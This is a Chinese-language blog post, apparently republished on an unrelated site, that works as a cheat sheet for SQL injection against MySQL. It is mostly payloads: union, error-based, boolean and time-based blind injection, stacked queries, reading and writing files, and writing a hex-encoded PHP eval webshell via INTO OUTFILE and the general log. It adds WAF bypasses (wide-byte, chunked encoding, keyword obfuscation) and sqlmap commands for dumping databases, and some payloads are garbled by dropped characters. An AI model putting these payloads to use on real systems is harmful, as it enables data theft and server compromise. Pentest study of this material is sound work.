总结一下在MySQL中的sql注入

您所在的位置:网站首页 铺砖流程总结 总结一下在MySQL中的sql注入

总结一下在MySQL中的sql注入

2023-03-30 23:14| 来源: 网络整理| 查看: 265

基础注入原理

sql注入是指web应用程序对用户输入数据的合法性没有进行判断或者过滤不严,导致攻击者可以构造恶意语句,获取数据库中的数据,在一定条件下甚至可以拿到shell

相关知识

mysql5.0以上存在一个自带的数据库名为information__schema,是一个存储纪录了所有数据库名、表名、列名的数据库,也相当于可以从这里查询指定数据库下面的表名和列名的信息,这是因为在数据库中"."表示下一级。例如:books.book表示books数据库下面的book表名

information_schema.schemata:纪录所有数据库的表 information_schema.tables:纪录所有表名的表 information_schema.columns;纪录所有列名的表 相当于变量: table_name:表名 column_name:列名 table_schema:数据库名

一些信息收集

数据库名:database() 数据库用户:user() 数据库版本:version() 操作系统:@@version_compile_os()

常用函数substr(string,pos,length),截取字符串string,从offset开始长度为length。ascii(c),返回c的ascii值left(string,length),从左返回长度为length的字符串

判断

首先判断是否存在注入,常见的注入点有:

url参数,例如id、username、page等

post参数,例如登录框中的用户名密码

cookie参数

使用'"),',"或者' and 1=1和and 1=2来判断页面内容或者数据包长度是否和常规的一样。如果不一样那么基本就可以判断存在注入了。image.png接下来判断数字型注入还是字符型注入

image.pngimage.png

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

如上图,没有单引号的情况下添加and 1=1和and 1=2返回页面不一样,说明是数字型注入image.pngimage.png

如上图,添加单引号后and 1=1和and 1=2返回页面不一样。--+将后面的代码包括单引号给注释掉了。另外闭合符号一般还有) ]

注入类型联合注入

有回显的情况下可以使用

前提

获取字段数在联合注入中,我们需要使用到union,因此在注入之前我们需要判断字段数。

获取字段数量为了满足union运算(联合的两次查询的字段数要相等)

可以使用order by和group by

order by

实际上就是排序第n列,例如在n为1-5的时候都没有报错,说明能够排序1-5列,但是到6时就报错,说明不存在第六列

group by

对数据相同的列进行分组

order by 5或者group by 5获取回显位union selet 1,2,3,4,5--+

payload查表 ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='' 查列 ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='' 得知数据库和表可以查数据 ?id=-1 union select 1,group_concat(),3 from ?cat=-1%20union%20select%201,group_concat(id,0x2d,user_login,0x2d,user_pass,0x2d,user_level),3,4,5%20from%20wp_users 报错注入

开启了mysql_error()函数,将错误信息回显

函数updatexml()

使用不同xml标记匹配和替换xml块的函数。

updatexml(XML_document,XPath_string,new_value)。第二个参数格式不符合xpath语法时,mysql爆出xpath错误

payload

and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)--+ and updatexml(1,,1) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ 爆表 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='' and table_name=''),0x7e),1)--+ 爆字段 and updatexml(1,concat(0x7e,(select group_concat() from where table_schema=''),0x7e),1)--+ 爆内容 extractvalue()

此函数从目标XML中返回包含所查询值的字符串

extractvalue(XML_document,xpath_string)。当xpath_string格式出现错误,mysql则会爆出xpath语法错误。0x7e不属于xpath语法格式payload

and extractvalue(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir))--+ and extractvalue(1,concat(0x7e,语句,0x7e)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 爆表 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='' and table_name=''),0x7e)) --+ 爆字段 and extractvalue(1,concat(0x7e,(select group_concat() from where table_schema=''),0x7e))--+ 爆内容 floor()?id=1' union select 1,count(),concat(0x7e,(select database()),0x7e,floor(rand(0)2))a from information_schema.schemata group by a--+ ?id=1' union select 1,count(),concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆数据库,不断改变limit得到其他) ?id=1' union select 1,count(),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出users表) ?id=1' union select 1,count(),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出password字段) ?id=1' union select 1,count(),concat(0x7e,(select password from security.users limit 2,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出数值) 布尔注入

主要使用and,通过判断网页返回内容区别来获取数据。

and left (database(),1)='s' --+ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+ 延时注入

通过判断返回时间来获取数据,通常搭配ascii()使用

and sleep(5) and sleep(if(ascii(substr(database(),1,1))=85,2,0))       true延时两秒 select * from book1 where id = 1 and if(left(version(),1)=4,benchmark(100000000,md5(0x41)),0) and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115,2,0))--+

benchmark(count,expr),重复count次执行表达式expr

堆叠注入

以分号结束,可同时执行多条sql语句

show databases; use ; show tables; show tables from ; show columns from .; 读写文件secure_file_priv

在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。配置文件my.ini

NULL:禁止限制操作某目录:只能操作该目录文件为空:对读写文件不进行限制

show global variables like "secure%"; load_file()

读取文件内容并写入到一个临时表,之后查询临时表

select load_file('D:/shell.php');

image.png文件内容插入表中

insert into book1 values(1,2,3,load_file('D:\\shell.php')); load data infile

文件内容插入表再查询

load data infile 'D:\\shell.php' into table ; 系统命令

5.x版本,只能本地不能远程,不能越目录

system cat /usr/local/mysql/1.txt outfile

可导出多行,在将数据写到文件里时有特殊的格式转换,自动换行

可通过修改一些参数可不转义等

select '' into outfile 'D:/1.php' dumpfile

只能导出一行数据 保持原数据格式

select '' into dumpfile 'D:/1.php' secure_file_priv绕过指定目录限制

local_infile=ON

set global local_infile = true; show global variables like "local_infile%"; load data local infile 'D:\\1.txt' into table user; 加一个local即可绕过

image.png

写shell条件

要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道

gpc没有开启,开启了单引号被转义了,语句就不能正常执行了

要有file权限,默认情况下只有root有

4:对目录要有写权限,一般image之类的存放突破的目录就有

联合注入?id=1 union select 1,,3 into outfile '物理路径'

例子

?id=-1 union select 1,'' into outfile 'D:/1.php'--+ ?id=-1 union select 1,'' dumpfile 'D:/1.php'--+ ?id =1 union select 1,2,0x223c3f70687020406576616c28245f504f53545b2778275d293b3f3e22,4 into outfile 'D:/1.php'; //十六进制绕过gpc

hex转换

非联合注入(--os-shell)

其实就是往服务器上写入了两个shell,其中一个给我们提供了一个文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下,另外一个则是返回了一个可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。

原理

lines terminated by表示在每行终止的位置插入webshell、

fields terminated by以每个字段的位置添加内容

lines starting by每行开始添加

?id=1 INTO OUTFILE '物理路径' lines terminated by #

例子

?id=-1 into outfile 'D:/1.php' fields terminated by ''--+ ?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x223c3f70687020406576616c28245f504f53545b2778275d293b3f3e22 -- 写日志show variables like '%general%'; 查看日志文件路径 set global general_log = on; 开启日志监控 set global general_log_file = ’/usr/1.p' 设置写入路径 select '' 查询一句话木马(写入日志) set global general_log_file = ''; 修改回去 set global general_log = off; 关闭日志监控 绕过关键字

大小写双写内联注释/*!select*/拼接concat(‘se’,’lect * from’)

空格

/**/()%09%0a%0d

gpc

16进制编码 比如users的十六进制的字符串是7573657273宽字节 %df\

宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入。

条件:

使用了addslashes()函数

数据库编码格式为gbk

addsleshes()、iconv(),结合嵌套查询,例如where user=‘dumb’改为where user=(select username from users limit 0,1),使用limit控制

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串

原理

输入%df时,经过函数转义单引号后,变成了%df%5c%27,GBK编码将前面两个字节编程汉字“运”,单引号逃逸,形成注入漏洞。

id=%df' and 1=1 --+ 逻辑

and &&or ||

逗号substr()、mid()

使用form for

select substr(database() from 1 for 1); select mid(database() from 1 for 1); union

使用join

union select 1,2# => union select * from (select 1)a join (select 2)b # limit

使用offset

select * from news limit 0,1 select * from news limit 1 offset 0 比较符号

greatest()/least(),返回最大值、最小值。

select * from users where id=1 and ascii(substr(database(),0,1))>64 select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64 等号

likerlikeregexp

between注入如果username='test1' select * from users where id =1 and substr(username,1,1) between 'a' and 'b'# false select * from users where id =1 and substr(username,1,1) between 'a' and 't'# true 注释符

如果是字符型注入可以使用单引号或双引号闭合后面的引号

分块传输

HTTP允许数据分成多个部分,HTTP1.1版本

需要添加请求头Transfer-Encoding: chuncked

id=1'UniOn SelEcT 1,user()%23 被拦截 将数据包修改如下(分号代表注释,可提高绕过概率): Transfer-Encoding: chuncked 2;2adfdasf id;2adfdasf 2;2adfdasf =1;2adfdasf 3;2adfdasf 'Un;2adfdasf 1;2adfdasf i;2adfdasf 1;2adfdasf O;2adfdasf 1;2adfdasf n;2adfdasf 3;2adfdasf Se;2adfdasf 1;2adfdasf l;2adfdasf 1;2adfdasf E;2adfdasf 3;2adfdasf cT ;2adfdasf 2;2adfdasf 1,;2adfdasf 3;2adfdasf use;2adfdasf 2;2adfdasf r(;2adfdasf 2;2adfdasf )%;2adfdasf 2;2adfdasf 23;2adfdasf 0;2adfdasf

注意后面的空格,以及最后长度为0表示分块结束和两个空行。并且长度值必须为十六进制

sleep()

benchmark(count,expr),重复count次执行表达式expr

select * from book1 where id = 1 and if(left(version(),1)=4,benchmark(100000000,md5(0x41)),0); sqlmap--dbs 所有数据库 --current-db 当前数据库 --current-user 当前用户 --is-dba 是否为管理员 --batch 默认确认 --threads 10 线程最高是10 --level 3 默认测试get和post,2-cookie,3-ua头和referer,最高5 --risk 3 风险,越高越慢越安全 --porxy="http://127.0.0.1:8080" 挂代理,请求发到burp,或者使用代理服务器端口 -v 详细等级,0-6,3显示有效payload -D 'db_name' --tables -D 'db_name' -T 'tablename' --columns -D 'db_name' -T 'tablename' -C 'columnname' --dump sqlmap -u "?id=x" --cookie "" --level 2 cookie注入 sqlmap -r 1.txt -p param post注入,参数值的后面加*号 sqlmap -u /login.php --data "username=1" 指定参数 sqlmap -u "http://192.168.22.xx/index.php?r=vul&keyword=1" --proxy=socks4://192.168.1.xx:2222 --current-db 使用socks4代理测试内网主机 防御

预编译正则表达式限制类型转义特殊符号



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3